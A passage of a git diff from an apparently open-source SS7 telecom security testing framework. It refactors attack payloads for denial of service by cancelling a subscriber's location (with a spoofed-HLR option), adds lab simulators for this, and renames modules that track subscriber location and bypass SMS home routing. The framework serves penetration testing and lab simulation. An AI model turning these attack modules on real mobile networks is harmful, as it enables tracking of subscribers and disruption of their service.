e214NumberingPlanDetected) { + public SriSmRequest(String msisdn, String serviceCentreAddress, Boolean useSmsHomeRouter) { this.msisdn = msisdn; this.serviceCentreAddress = serviceCentreAddress; - this.e214NumberingPlanDetected = e214NumberingPlanDetected; + this.useSmsHomeRouter = useSmsHomeRouter; } } diff --git a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/mobility/ClPayload.java b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/mobility/ClPayload.java index 95966e4..af631be 100644 --- a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/mobility/ClPayload.java +++ b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/mobility/ClPayload.java @@ -23,6 +23,7 @@ package com.rodan.intruder.ss7.entities.payload.mobility; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import com.rodan.intruder.ss7.entities.payload.Ss7Payload; import com.rodan.library.model.Constants; import lombok.Builder; @@ -35,16 +36,20 @@ public class ClPayload extends Ss7Payload { private String targetVlrGt; private String spoofHlr; private String targetHlrGt; + private CancellationType cancellationType; + private String newMscGt; private String mapVersion; @Builder - public ClPayload(String localGt, String imsi, String targetVlrGt, String spoofHlr, - String targetHlrGt, String mapVersion) { + public ClPayload(String localGt, String imsi, String targetVlrGt, String spoofHlr, String targetHlrGt, + CancellationType cancellationType, String newMscGt, String mapVersion) { super(localGt, Constants.SCCP_HLR_SSN, Constants.SCCP_VLR_SSN); this.imsi = imsi; this.targetVlrGt = targetVlrGt; this.spoofHlr = spoofHlr; this.targetHlrGt = targetHlrGt; + this.cancellationType = cancellationType; + this.newMscGt = newMscGt; this.mapVersion = mapVersion; } diff --git a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/sms/FsmPayload.java b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/sms/FsmPayload.java index 763c21b..19453c8 100644 --- a/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/sms/FsmPayload.java +++ b/src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/payload/sms/FsmPayload.java @@ -24,6 +24,7 @@ package com.rodan.intruder.ss7.entities.payload.sms; import com.rodan.intruder.ss7.entities.payload.Ss7Payload; +import com.rodan.intruder.ss7.entities.payload.mobility.UlResponsePayload; import com.rodan.library.model.Constants; import lombok.Builder; import lombok.Getter; @@ -68,4 +69,19 @@ public boolean isMalformedAcnForBypass() { public String getPayloadName() { return Constants.FSM_PAYLOAD_NAME; } + + public FsmPayload withImsi(String imsi) { + return imsi.equals(this.imsi) ? this : new FsmPayload(getLocalGt(), imsi, getSender(), getTargetMscGt(), + getContent(), getMessageType(), getSpoofSmsc(), getSmscGt(), getMapVersion()); + } + + public FsmPayload withTargetMscGt(String targetMscGt) { + return targetMscGt.equals(this.targetMscGt) ? this : new FsmPayload(getLocalGt(), getImsi(), getSender(), targetMscGt, + getContent(), getMessageType(), getSpoofSmsc(), getSmscGt(), getMapVersion()); + } + + public FsmPayload withContent(String content) { + return content.equals(this.content) ? this : new FsmPayload(getLocalGt(), getImsi(), getSender(), getTargetMscGt(), + content, getMessageType(), getSpoofSmsc(), getSmscGt(), getMapVersion()); + } } diff --git a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/PayloadMapper.java b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/PayloadMapper.java index a957c2c..f356862 100644 --- a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/PayloadMapper.java +++ b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/PayloadMapper.java @@ -163,12 +163,15 @@ public static JSs7PayloadWrapper mapMapPayload(Ss7Payload payload, JSs7StackAdap } else if (payload.getClass() == ClPayload.class) { var pl = (ClPayload) payload; var mainService = mapAdapter.getMobilityService(); + var cancellationType = org.mobicents.protocols.ss7.map.api.service.mobility.locationManagement. + CancellationType.getInstance(pl.getCancellationType().getCode()); jSs7Payload = CLPayloadWrapper.builder() .mapAdapter(mapAdapter).sccpAdapter(sccpAdapter).nodeConfig(nodeConfig) .dialogGenerator(mainService::generateDialog) .localGt(pl.getLocalGt()).localSsn(pl.getLocalSsn()).remoteSsn(pl.getRemoteSsn()) .imsi(pl.getImsi()).targetVlrGt(pl.getTargetVlrGt()).spoofHlr(pl.getSpoofHlr()) - .targetHlrGt(pl.getTargetHlrGt()).mapVersion(pl.getMapVersion()) + .targetHlrGt(pl.getTargetHlrGt()).cancellationType(cancellationType).newMscGt(pl.getNewMscGt()) + .mapVersion(pl.getMapVersion()) .build(); } else if (payload.getClass() == DsdPayload.class) { diff --git a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapMobilityServiceHandler.java b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapMobilityServiceHandler.java index 24cc67b..8156c37 100644 --- a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapMobilityServiceHandler.java +++ b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapMobilityServiceHandler.java @@ -29,6 +29,7 @@ import com.rodan.intruder.ss7.entities.event.model.auth.AuthTriplet; import com.rodan.intruder.ss7.entities.event.model.auth.EpcAuthVector; import com.rodan.intruder.ss7.entities.event.model.auth.SecurityContext; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import com.rodan.intruder.ss7.entities.event.service.MapMobilityServiceListener; import com.rodan.intruder.ss7.gateway.handler.model.mobility.*; import com.rodan.library.util.Util; @@ -147,8 +148,15 @@ public void onUpdateLocationResponse(UpdateLocationResponse response) { public void onCancelLocationRequest(CancelLocationRequest request) { logger.debug("[[[[[[[[[[ onCancelLocationRequest ]]]]]]]]]]"); logger.debug(request); + var imsi = Util.getValueOrElse(request.getImsi(), IMSI::getData, ""); + var newMsc = Util.getValueOrElseNull(request.getNewMSCNumber(), ISDNAddressString::getAddress); + CancellationType cancellationType = null; + if (request.getCancellationType() != null) + cancellationType = CancellationType.getInstance(request.getCancellationType().getCode()); var content = ClRequestImpl.builder() - .invokeId(request.getInvokeId()).mapDialog(request.getMAPDialog()) + .imsi(imsi).invokeId(request.getInvokeId()) + .cancellationType(cancellationType).newMscGt(newMsc) + .mapDialog(request.getMAPDialog()) .build(); for (var listener : listeners) { listener.onCancelLocationRequest(content); diff --git a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapSmsServiceHandler.java b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapSmsServiceHandler.java index 05aa02a..fc9f744 100644 --- a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapSmsServiceHandler.java +++ b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/MapSmsServiceHandler.java @@ -26,6 +26,7 @@ import com.rodan.intruder.ss7.entities.event.model.ErrorEvent; import com.rodan.intruder.ss7.entities.event.service.MapSmsServiceListener; import com.rodan.intruder.ss7.gateway.handler.model.sms.*; +import com.rodan.library.model.Constants; import com.rodan.library.util.Util; import org.apache.log4j.LogManager; import org.apache.log4j.Logger; @@ -187,13 +188,13 @@ public void onSendRoutingInfoForSMRequest(SendRoutingInfoForSMRequest request) { try { logger.debug("[[[[[[[[[[ onSendRoutingInfoForSMRequest ]]]]]]]]]]"); logger.debug(request); - var e214NumberingPlanDetected = false; + var useSmsHomeRouter = true; var cdPa = request.getMAPDialog().getLocalAddress().getGlobalTitle(); logger.debug("CdPA: " + cdPa); if (cdPa instanceof GlobalTitle0100 address) { logger.debug("CdPA Numbering Plan: " + address.getNumberingPlan()); - if (address.getNumberingPlan().equals(NumberingPlan.ISDN_MOBILE)) { - e214NumberingPlanDetected = true; + if (address.getTranslationType() == Constants.TRANSLATION_TYPE_TRUSTED_NODE) { + useSmsHomeRouter = false; } } var msisdn = Util.getValueOrElse(request.getMsisdn(), ISDNAddressString::getAddress, ""); @@ -201,7 +202,7 @@ public void onSendRoutingInfoForSMRequest(SendRoutingInfoForSMRequest request) { var content = SriSmRequestImpl.builder() .invokeId(request.getInvokeId()).mapDialog(request.getMAPDialog()) .msisdn(msisdn).serviceCentreAddress(serviceCentreAddress) - .e214NumberingPlanDetected(e214NumberingPlanDetected) + .useSmsHomeRouter(useSmsHomeRouter) .build(); for (var listener : listeners) { listener.onSendRoutingInfoForSMRequest(content); diff --git a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/mobility/ClRequestImpl.java b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/mobility/ClRequestImpl.java index e52de9f..c93da20 100644 --- a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/mobility/ClRequestImpl.java +++ b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/mobility/ClRequestImpl.java @@ -25,6 +25,7 @@ import com.rodan.intruder.ss7.entities.dialog.Ss7MapDialog; import com.rodan.intruder.ss7.entities.event.model.mobility.ClRequest; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import com.rodan.intruder.ss7.gateway.dialog.Ss7MapDialogImpl; import lombok.Builder; import lombok.Getter; @@ -37,7 +38,9 @@ public class ClRequestImpl extends ClRequest { private long invokeId; @Builder - public ClRequestImpl(MAPDialog mapDialog, long invokeId) { + public ClRequestImpl(String imsi, CancellationType cancellationType, String newMscGt, + MAPDialog mapDialog, long invokeId) { + super(imsi, cancellationType, newMscGt); this.ss7Dialog = Ss7MapDialogImpl.builder().jss7Dialog(mapDialog).build(); this.invokeId = invokeId; } diff --git a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/sms/SriSmRequestImpl.java b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/sms/SriSmRequestImpl.java index 9138486..0e7ea61 100644 --- a/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/sms/SriSmRequestImpl.java +++ b/src/intruder/ss7/gateway/src/main/java/com/rodan/intruder/ss7/gateway/handler/model/sms/SriSmRequestImpl.java @@ -36,9 +36,9 @@ public class SriSmRequestImpl extends SriSmRequest { private long invokeId; @Builder - public SriSmRequestImpl(String msisdn, String serviceCentreAddress, Boolean e214NumberingPlanDetected, + public SriSmRequestImpl(String msisdn, String serviceCentreAddress, Boolean useSmsHomeRouter, MAPDialog mapDialog, long invokeId) { - super(msisdn, serviceCentreAddress, e214NumberingPlanDetected); + super(msisdn, serviceCentreAddress, useSmsHomeRouter); this.ss7Dialog = Ss7MapDialogImpl.builder().jss7Dialog(mapDialog).build(); this.invokeId = invokeId; } diff --git a/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/attacks/dos/DosClModule.java b/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/attacks/dos/DosClModule.java index 12e0ce4..6d46e80 100644 --- a/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/attacks/dos/DosClModule.java +++ b/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/attacks/dos/DosClModule.java @@ -24,6 +24,7 @@ package com.rodan.intruder.ss7.usecases.attacks.dos; import com.rodan.intruder.ss7.entities.event.model.mobility.ClResponse; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import com.rodan.intruder.ss7.entities.event.service.MapMobilityServiceListener; import com.rodan.intruder.ss7.entities.payload.mobility.ClPayload; import com.rodan.intruder.ss7.usecases.Ss7ModuleTemplate; @@ -57,10 +58,12 @@ protected void generatePayload() { logger.debug("Generating payload"); logger.debug("Module Options: " + moduleOptions); var options = (DosClOptions) moduleOptions; + var localGt = options.getNodeConfig().getSs7Association().getLocalNode().getGlobalTitle(); + // TODO Check CancellationType.subscriptionWithdraw var payload = ClPayload.builder() - .localGt(options.getNodeConfig().getSs7Association().getLocalNode().getGlobalTitle()) - .imsi(options.getImsi()).targetVlrGt(options.getTargetVlrGt()) - .targetHlrGt(options.getTargetHlrGt()).spoofHlr(options.getSpoofHlr()) + .localGt(localGt).imsi(options.getImsi()).targetVlrGt(options.getTargetVlrGt()) + .targetHlrGt(options.getTargetHlrGt()).cancellationType(CancellationType.updateProcedure) + .spoofHlr(options.getSpoofHlr()) .mapVersion(options.getMapVersion()) .build(); setMainPayload(payload); diff --git a/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/model/Ss7ModuleConstants.java b/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/model/Ss7ModuleConstants.java index d7111f3..2aa784c 100644 --- a/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/model/Ss7ModuleConstants.java +++ b/src/intruder/ss7/usecases/src/main/java/com/rodan/intruder/ss7/usecases/model/Ss7ModuleConstants.java @@ -117,9 +117,9 @@ public interface Ss7ModuleConstants { String LOCATION_PSI_DESCRIPTION = "Disclose subscriber location (Cell ID, MCC, MNC, LAC) using MAP Provide-Subscriber-Info (PSI) message.\nIt requires knowledge of target IMSI and serving VLR, but is difficult to block using operator's legacy equipments."; String LOCATION_PSI_RANK = "good"; - String LOCATION_PSL_NAME = LOCATION_TRACKING_CATEGORY + "/ss7/accurate"; + String LOCATION_PSL_NAME = LOCATION_TRACKING_CATEGORY + "/ss7/precise"; String LOCATION_PSL_DISPLAY_NAME = "Provide-Subscriber-Location (PSL) message"; - String LOCATION_PSL_BRIEF = "Disclose subscriber's accurate location using IMSI and MSC address"; + String LOCATION_PSL_BRIEF = "Disclose subscriber's precise location using IMSI and MSC address"; String LOCATION_PSL_DESCRIPTION = "Disclose subscriber location (Cell ID, MCC, MNC, LAC) using MAP Provide-Subscriber-Location (PSL) message.\nIt can be used to track subscribers location using their MSISDNs or IMSIs. It gets the most precise location,\nbut requires the knowledge of serving MSC, may not be supported by target operator, and can be easily blocked\nusing operator's legacy equipments."; String LOCATION_PSL_RANK = "average"; diff --git a/src/lab/ss7/hlr/main/cli/src/main/java/com/rodan/lab/ss7/hlr/main/cli/Main.java b/src/lab/ss7/hlr/main/cli/src/main/java/com/rodan/lab/ss7/hlr/main/cli/Main.java index 1a96695..3ea2e55 100644 --- a/src/lab/ss7/hlr/main/cli/src/main/java/com/rodan/lab/ss7/hlr/main/cli/Main.java +++ b/src/lab/ss7/hlr/main/cli/src/main/java/com/rodan/lab/ss7/hlr/main/cli/Main.java @@ -25,7 +25,7 @@ import com.rodan.intruder.ss7.usecases.port.Ss7GatewayFactory; import com.rodan.lab.ss7.hlr.usecases.simulation.infogathering.NewAuthVectorSimulator; import com.rodan.lab.ss7.hlr.usecases.simulation.infogathering.SmsRoutingInfoSimulator; -import com.rodan.lab.ss7.hlr.usecases.simulation.infogathering.UlResponderSimulator; +import com.rodan.lab.ss7.hlr.usecases.simulation.mobility.UlResponderSimulator; import com.rodan.lab.ss7.hlr.usecases.simulation.location.LocationAtiSimulator; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; import com.rodan.lab.ss7.hlr.usecases.model.Ss7SimulatorOptionsFactory; diff --git a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/Ss7SimulatorOptionsFactory.java b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/Ss7SimulatorOptionsFactory.java index 35ba34b..09e1630 100644 --- a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/Ss7SimulatorOptionsFactory.java +++ b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/Ss7SimulatorOptionsFactory.java @@ -23,7 +23,7 @@ import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptionsFactory; import com.rodan.lab.ss7.hlr.usecases.model.infogathering.NewAuthVectorSimOptions; import com.rodan.lab.ss7.hlr.usecases.model.infogathering.SmsRoutingInfoSimOptions; -import com.rodan.lab.ss7.hlr.usecases.model.infogathering.UlResponderSimOptions; +import com.rodan.lab.ss7.hlr.usecases.model.mobility.UlResponderSimOptions; import com.rodan.lab.ss7.hlr.usecases.model.location.LocationAtiSimOptions; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; import com.rodan.lab.ss7.hlr.usecases.model.infogathering.RoutingInfoSimOptions; diff --git a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/infogathering/UlResponderSimOptions.java b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/mobility/UlResponderSimOptions.java similarity index 93% rename from src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/infogathering/UlResponderSimOptions.java rename to src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/mobility/UlResponderSimOptions.java index bedd23e..8980b44 100644 --- a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/infogathering/UlResponderSimOptions.java +++ b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/mobility/UlResponderSimOptions.java @@ -1,6 +1,6 @@ /* * Etisalat Egypt, Open Source - * Copyright 2021, Etisalat Egypt and individual contributors + * Copyright 2022, Etisalat Egypt and individual contributors * by the @authors tag. * * This program is free software: you can redistribute it and/or modify @@ -17,7 +17,7 @@ * along with this program. If not, see */ -package com.rodan.lab.ss7.hlr.usecases.model.infogathering; +package com.rodan.lab.ss7.hlr.usecases.model.mobility; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorOptions; import com.rodan.library.model.Validator; diff --git a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/SmsRoutingInfoSimulator.java b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/SmsRoutingInfoSimulator.java index ba4bd20..1161e05 100644 --- a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/SmsRoutingInfoSimulator.java +++ b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/SmsRoutingInfoSimulator.java @@ -92,8 +92,8 @@ public void onSendRoutingInfoForSMRequest(SriSmRequest request) { dialog.setUserObject(invokeId); // Simulate SMS Home Routing E.214 bypass - var newPayload = request.getE214NumberingPlanDetected() ? - generateRealPayload() : generatePseudoPayload(); + var newPayload = request.getUseSmsHomeRouter() ? + generatePseudoPayload() : generateRealPayload(); var payload = (SriSmResponsePayload) newPayload; payload = payload.withInvokeId(invokeId); diff --git a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/UlResponderSimulator.java b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/mobility/UlResponderSimulator.java similarity index 78% rename from src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/UlResponderSimulator.java rename to src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/mobility/UlResponderSimulator.java index 4360c61..40a4c0f 100644 --- a/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/infogathering/UlResponderSimulator.java +++ b/src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/mobility/UlResponderSimulator.java @@ -1,6 +1,6 @@ /* * Etisalat Egypt, Open Source - * Copyright 2021, Etisalat Egypt and individual contributors + * Copyright 2022, Etisalat Egypt and individual contributors * by the @authors tag. * * This program is free software: you can redistribute it and/or modify @@ -17,20 +17,19 @@ * along with this program. If not, see */ -package com.rodan.lab.ss7.hlr.usecases.simulation.infogathering; +package com.rodan.lab.ss7.hlr.usecases.simulation.mobility; import com.rodan.intruder.kernel.usecases.SignalingModule; import com.rodan.intruder.ss7.entities.event.model.mobility.IsdResponse; import com.rodan.intruder.ss7.entities.event.model.mobility.UlRequest; +import com.rodan.intruder.ss7.entities.event.model.mobility.details.CancellationType; import com.rodan.intruder.ss7.entities.event.service.MapMobilityServiceListener; -import com.rodan.intruder.ss7.entities.payload.callhandling.SriResponsePayload; +import com.rodan.intruder.ss7.entities.payload.mobility.ClPayload; import com.rodan.intruder.ss7.entities.payload.mobility.IsdPayload; -import com.rodan.intruder.ss7.entities.payload.mobility.UlPayload; import com.rodan.intruder.ss7.entities.payload.mobility.UlResponsePayload; import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptions; -import com.rodan.intruder.ss7.usecases.model.dos.DosCallBarringOptions; import com.rodan.intruder.ss7.usecases.port.Ss7Gateway; -import com.rodan.lab.ss7.hlr.usecases.model.infogathering.UlResponderSimOptions; +import com.rodan.lab.ss7.hlr.usecases.model.mobility.UlResponderSimOptions; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorTemplate; import com.rodan.library.model.annotation.Module; @@ -47,6 +46,7 @@ @Module(name = Ss7SimulatorConstants.UL_RESPONDER_NAME) public class UlResponderSimulator extends Ss7SimulatorTemplate implements SignalingModule, MapMobilityServiceListener { final static Logger logger = LogManager.getLogger(UlResponderSimulator.class); + private String targetImsi; @Builder public UlResponderSimulator(Ss7Gateway gateway, Ss7ModuleOptions moduleOptions) { @@ -88,6 +88,7 @@ protected void cleanup() throws SystemException { public void onUpdateLocationRequest(UlRequest request) throws SystemException { try { var imsi = request.getImsi(); + targetImsi = imsi; var msc = request.getMscGt(); var vlr = request.getVlrGt(); notify("Received UL request for IMSI: " + imsi + " from MSC/VLR: " + msc + "/" + vlr, @@ -123,7 +124,9 @@ public void onInsertSubscriberDataResponse(IsdResponse response) { logger.debug("##### Received ISD response!"); logger.debug(response); - // TODO: Send CL to MSC. UL response should be sent after receiving CL response + var newMsc = response.getDialog().getRemoteAddress(); + cancelOldServingNode(newMsc); + var dialog = response.getDialog(); var invokeId = response.getInvokeId(); dialog.setUserObject(invokeId); @@ -139,4 +142,25 @@ public void onInsertSubscriberDataResponse(IsdResponse response) { setExecutionError(true); } } + + private void cancelOldServingNode(String newMsc) { + try { + var options = (UlResponderSimOptions) moduleOptions; + var vlr = options.getNodeConfig().getTargetNetwork().getVlrGt(); + var localGt = options.getNodeConfig().getSs7Association().getLocalNode().getGlobalTitle(); + var payload = ClPayload.builder() + .localGt(localGt).imsi(targetImsi).targetVlrGt(vlr).cancellationType(CancellationType.updateProcedure) + .newMscGt(newMsc).spoofHlr("No").mapVersion("3") + .build(); + var dialog = getGateway().generateMapDialog(payload); + getGateway().addToDialog(payload, dialog); + getGateway().send(dialog); + + } catch (SystemException e) { + String msg = "Failed to send CL to serving node"; + logger.error(msg, e); + notify(msg, NotificationType.FAILURE); + setExecutionError(true); + } + } } diff --git a/src/lab/ss7/kernel/usecases/src/main/java/com/rodan/lab/ss7/kernel/usecases/Ss7SimulatorConstants.java b/src/lab/ss7/kernel/usecases/src/main/java/com/rodan/lab/ss7/kernel/usecases/Ss7SimulatorConstants.java index 5e0394f..8574426 100644 --- a/src/lab/ss7/kernel/usecases/src/main/java/com/rodan/lab/ss7/kernel/usecases/Ss7SimulatorConstants.java +++ b/src/lab/ss7/kernel/usecases/src/main/java/com/rodan/lab/ss7/kernel/usecases/Ss7SimulatorConstants.java @@ -33,6 +33,7 @@ public interface Ss7SimulatorConstants { String LOCATION_ATI_SIM_NAME = SIMULATOR_NAME_PREFIX + Ss7ModuleConstants.LOCATION_ATI_NAME; String NEW_AUTH_VECTOR_SIM_NAME = SIMULATOR_NAME_PREFIX + Ss7ModuleConstants.NEW_AUTH_VECTOR_NAME; String UL_RESPONDER_NAME = SIMULATOR_NAME_PREFIX + "ul_responder"; + String CL_RESPONDER_NAME = SIMULATOR_NAME_PREFIX + "cl_responder"; String SIMSI_SIM_NAME = SIMULATOR_NAME_PREFIX + Ss7ModuleConstants.SEND_IMSI_NAME; String SRI_GPRS_SIM_NAME = SIMULATOR_NAME_PREFIX + Ss7ModuleConstants.GPRS_ROUTING_INFO_NAME; diff --git a/src/lab/ss7/msc/main/cli/src/main/java/com/rodan/lab/ss7/msc/main/cli/Main.java b/src/lab/ss7/msc/main/cli/src/main/java/com/rodan/lab/ss7/msc/main/cli/Main.java index 0d91b8c..74cf059 100644 --- a/src/lab/ss7/msc/main/cli/src/main/java/com/rodan/lab/ss7/msc/main/cli/Main.java +++ b/src/lab/ss7/msc/main/cli/src/main/java/com/rodan/lab/ss7/msc/main/cli/Main.java @@ -27,6 +27,7 @@ import com.rodan.lab.ss7.msc.usecases.simulation.location.LocationPslSimulator; import com.rodan.lab.ss7.vlr.usecases.model.Ss7SimulatorOptionsFactory; import com.rodan.lab.ss7.vlr.usecases.simulation.location.LocationPsiSimulator; +import com.rodan.lab.ss7.vlr.usecases.simulation.mobility.ClResponderSimulator; import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Module; import com.rodan.library.model.config.node.config.LabNodeConfig; @@ -108,6 +109,10 @@ private void loadAvailableOptions() throws ApplicationException { .moduleOptions(moduleOps) .gateway(ss7Gateway) .build(); + case Ss7SimulatorConstants.CL_RESPONDER_NAME -> ClResponderSimulator.builder() + .moduleOptions(moduleOps) + .gateway(ss7Gateway) + .build(); default -> { String msg = "Invalid SS7 simulator name: " + simulatorName; diff --git a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/LocationPslSimOptions.java b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/location/LocationPslSimOptions.java similarity index 92% rename from src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/LocationPslSimOptions.java rename to src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/location/LocationPslSimOptions.java index e42ef8c..0cee072 100644 --- a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/LocationPslSimOptions.java +++ b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/location/LocationPslSimOptions.java @@ -1,6 +1,6 @@ /* * Etisalat Egypt, Open Source - * Copyright 2021, Etisalat Egypt and individual contributors + * Copyright 2022, Etisalat Egypt and individual contributors * by the @authors tag. * * This program is free software: you can redistribute it and/or modify @@ -17,7 +17,7 @@ * along with this program. If not, see */ -package com.rodan.lab.ss7.msc.usecases.model; +package com.rodan.lab.ss7.msc.usecases.model.location; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorOptions; import com.rodan.library.model.Validator; diff --git a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/mobility/ClResponderSimOptions.java b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/mobility/ClResponderSimOptions.java new file mode 100644 index 0000000..4d049fb --- /dev/null +++ b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/mobility/ClResponderSimOptions.java @@ -0,0 +1,42 @@ +/* + * Etisalat Egypt, Open Source + * Copyright 2022, Etisalat Egypt and individual contributors + * by the @authors tag. + * + * This program is free software: you can redistribute it and/or modify + * under the terms of the GNU Affero General Public License as + * published by the Free Software Foundation; either version 3 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see + */ + +package com.rodan.lab.ss7.msc.usecases.model.mobility; + +import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorOptions; +import com.rodan.library.model.config.node.config.LabNodeConfig; +import com.rodan.library.model.error.ValidationException; +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * @author Ayman ElSherif + */ +@Getter @ToString +public class ClResponderSimOptions extends Ss7SimulatorOptions { + @Builder + public ClResponderSimOptions(LabNodeConfig nodeConfig) { + super(nodeConfig); + } + + @Override + public void validate() throws ValidationException { + } +} diff --git a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/simulation/location/LocationPslSimulator.java b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/simulation/location/LocationPslSimulator.java index 4aee844..96641d2 100644 --- a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/simulation/location/LocationPslSimulator.java +++ b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/simulation/location/LocationPslSimulator.java @@ -25,13 +25,11 @@ import com.rodan.intruder.ss7.entities.event.model.lcs.PslRequest; import com.rodan.intruder.ss7.entities.event.service.MapLcsServiceListener; import com.rodan.intruder.ss7.entities.payload.location.PslResponsePayload; -import com.rodan.intruder.ss7.entities.payload.mobility.AtiResponsePayload; -import com.rodan.intruder.ss7.entities.payload.mobility.PsiResponsePayload; import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptions; import com.rodan.intruder.ss7.usecases.port.Ss7Gateway; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorTemplate; -import com.rodan.lab.ss7.msc.usecases.model.LocationPslSimOptions; 